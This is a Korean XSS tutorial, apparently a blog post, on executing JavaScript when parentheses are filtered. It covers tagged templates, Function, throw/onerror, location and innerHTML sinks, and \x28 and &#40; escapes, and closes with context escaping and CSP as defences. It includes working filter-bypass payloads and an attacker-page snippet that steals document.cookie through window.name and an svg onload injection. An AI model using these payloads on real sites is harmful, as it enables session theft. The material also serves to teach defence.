괄호를 막아도 자바스크립트는 실행된다. 함수를 부르는 문법이 두 벌이고, 호출이 아닌데 실행되는 지점도 따로 있기 때문이다.

괄호 없이 실행되는 위치: 호출, 대입, 파서

1
2
3
alert`1`                              // 호출. 괄호 대신 백틱
location='javascript:alert\x281\x29'  // 대입. 넣는 순간 실행
Function`alert\x281\x29```            // 파서. 문자열을 코드로

셋 다 소스에 괄호가 없는데 실행된다. 그러니 필터를 우회하기 전에 내가 노리는 sink가 셋 중 무엇을 요구하는지부터 봐야 한다. 대입만 요구하면 괄호가 막혀 있어도 그냥 된다.

태그드 템플릿: 괄호 없는 호출 문법

1
alert`1`

함수 이름 뒤에 백틱 문자열을 바로 붙이면 그 함수가 호출된다. 엔진이 템플릿을 조각내서 넘기는데 변환 규칙은 이렇다.

1
f`a${x}b`      // f(["a", "b"], x) 와 같다

첫 인자가 문자열 조각들의 배열이고 ${} 안에 있던 값들이 뒤에 순서대로 붙는다. 배열에는 이스케이프 처리 전 원본을 담은 .raw 프로퍼티도 같이 달려온다. 원래는 SQL이나 HTML을 안전하게 조립하라고 만든 문법이고, 괄호를 안 쓰는 건 그 부수효과다.

그래서 alert`1` 은 실제로 alert(["1"]) 이다. alert이 인자를 문자열로 강제 변환하는데 길이 1짜리 배열은 "1" 이 되니까 결과가 같아 보인다. fetch`/write` 도 같은 이유로 동작한다.

쓸 수 있는 범위는 좁다. 인자를 하나만, 그것도 문자열 성격의 값으로만 넘길 수 있다. fetch 에 method와 body를 담은 옵션 객체를 주려면 두 번째 인자가 필요한데 이 문법으로는 못 준다. 괄호가 막힌 상황에서 POST 요청을 짜다 막히는 지점이 대부분 여기다.

백틱이 통하는 쪽과 안 통하는 쪽: eval과 Function

eval 은 인자가 문자열일 때만 코드로 해석한다. 문자열이 아니면 받은 값을 그대로 돌려주고 끝난다.

1
eval`alert\x281\x29`      // 배열을 받아서 그대로 반환. 실행 안 됨

Function 생성자는 인자를 문자열로 변환해서 함수 본문으로 삼기 때문에 배열을 줘도 통한다. 다만 함수를 만들기만 하고 부르지는 않으니 한 번 더 호출해야 한다.

1
Function`alert\x281\x29```

뒤에 붙은 백틱 두 개가 빈 템플릿이고, 그게 방금 만든 함수를 인자 없이 호출한다. 본문 안의 괄호는 \x28\x29 로 넣었다. 문자열 리터럴 안에서는 16진 이스케이프가 유효하니까 원본 소스에는 괄호 문자가 등장하지 않는다.

setTimeoutsetInterval 도 첫 인자가 문자열이면 코드로 해석한다. 다만 호출 자체에 괄호가 필요해서 괄호 우회용으로는 못 쓰고, 지연 실행이 필요할 때 쓰는 카드다.

괄호 우회 네 가지

태그드 템플릿은 앞에서 본 그대로다. 인자 하나짜리 호출이면 이걸로 끝난다.

예외를 던져서 브라우저가 대신 부르게 만들 수도 있다.

1
{onerror=alert}throw 1337

window.onerror 는 처리되지 않은 예외가 생겼을 때 브라우저가 호출하는 핸들러다. 여기에 원하는 함수를 대입해두고 아무 값이나 던지면 브라우저가 그 함수를 불러준다. 대입에도 throw에도 괄호가 없다. 핸들러에 실제로 넘어가는 첫 인자는 던진 값 자체가 아니라 Uncaught 1337 같은 오류 메시지 문자열이라서, 값을 그대로 봐야 하면 접두사를 감안해야 한다. onerror 라는 이름이 필요하니까 필터가 on 을 통째로 막고 있으면 죽는 카드다.

대입만으로 실행되는 지점을 쓰는 방법도 있다.

1
2
3
location='javascript:alert\x281\x29'
document.body.innerHTML=payload
location=name

locationjavascript: URL을 넣으면 브라우저가 그 코드를 현재 문서에서 실행한다. innerHTML 대입은 문자열을 HTML로 파싱하니까 이벤트 핸들러가 붙은 태그를 심을 수 있다.

location=name 은 조금 다르다. window.name 은 페이지를 옮겨도 값이 유지되는 성질이 있어서, 페이로드 본문을 공격자 페이지에 두고 피해자 페이지에서는 참조만 한다. 삽입 가능한 길이가 짧을 때 쓴다.

1
2
3
4
5
<!-- 공격자 페이지 -->
<script>
name = "javascript:fetch`/steal?c=${document.cookie}`"
location = "http://victim/page?q=<svg onload=location=name>"
</script>

피해자 페이지에 들어가는 건 location=name 열여섯 글자뿐이고, 실제 페이로드는 길이 제한을 안 받는다.

마지막은 괄호 자체를 복원하는 것이다. 문자열 리터럴 안에서는 \x28( 가 되고, HTML 속성값 안에서는 &#40;( 가 된다.

1
2
3
4
5
<!-- 저장되는 문자열: 괄호 문자가 하나도 없어서 필터를 통과 -->
<svg onload="alert&#40;1&#41;">

<!-- HTML 파서를 거친 뒤 실제로 실행되는 코드 -->
alert(1)

문자 블랙리스트가 뚫리는 이유

필터는 저장 시점의 소스 문자열을 검사하는데, 실제 실행은 그 문자열이 여러 단계 변환을 거친 뒤에 일어난다.

\x28 은 문자열 리터럴을 파싱하는 단계에서 괄호가 된다. &#40; 은 HTML 파서 단계에서 괄호가 된다. 태그드 템플릿은 괄호가 아예 없는데도 호출 표현식으로 해석된다. 세 경우 모두 필터가 본 바이트열과 엔진이 실행하는 코드가 다르다. 그래서 특정 문자를 막는 방식은 변환 계층이 하나 늘어날 때마다 새 우회가 생기고, 그 계층을 전부 세어서 막는 건 실무에서 불가능하다.

방어: 컨텍스트별 이스케이프와 CSP

하나는 출력 컨텍스트에 맞춰 이스케이프하는 것이다. 같은 값이라도 어디에 박히느냐에 따라 막아야 할 문자가 달라진다.

1
2
3
<div>{{ v }}</div>                  <!-- HTML 본문: < > & 를 엔티티로 -->
<div title="{{ v }}">               <!-- 속성값: 따옴표까지 반드시 -->
<script>var x = "{{ v }}"</script>  <!-- 스크립트 안: \x3c 같은 JS 이스케이프 -->

세 번째가 특히 잘 뚫린다. HTML 인코딩만 하고 스크립트 안에 넣으면 </script> 한 방에 컨텍스트를 빠져나간다.

다른 하나는 실행 권한 자체를 회수하는 CSP다.

1
Content-Security-Policy: script-src 'self'; object-src 'none'

인라인 스크립트가 금지되므로 <svg onload=...><script> 도 실행되지 않고, unsafe-eval 이 없으니 evalFunction 도 막힌다. 입력을 걸러서 막는 게 아니라 실행을 못 하게 만드는 접근이고, 이게 현대적 방어의 기본선이다.

요약

기법문법전제
태그드 템플릿alert`1`인자 1개, 문자열 성격
Function 생성자Function`code```eval은 불가, Function은 가능
throw + onerror{onerror=alert}throw 1337on 이름을 쓸 수 있어야 함
대입 sinklocation='javascript:...'호출이 아니라 괄호 무관
이스케이프 복원\x28 · &#40;디코딩 계층이 있을 때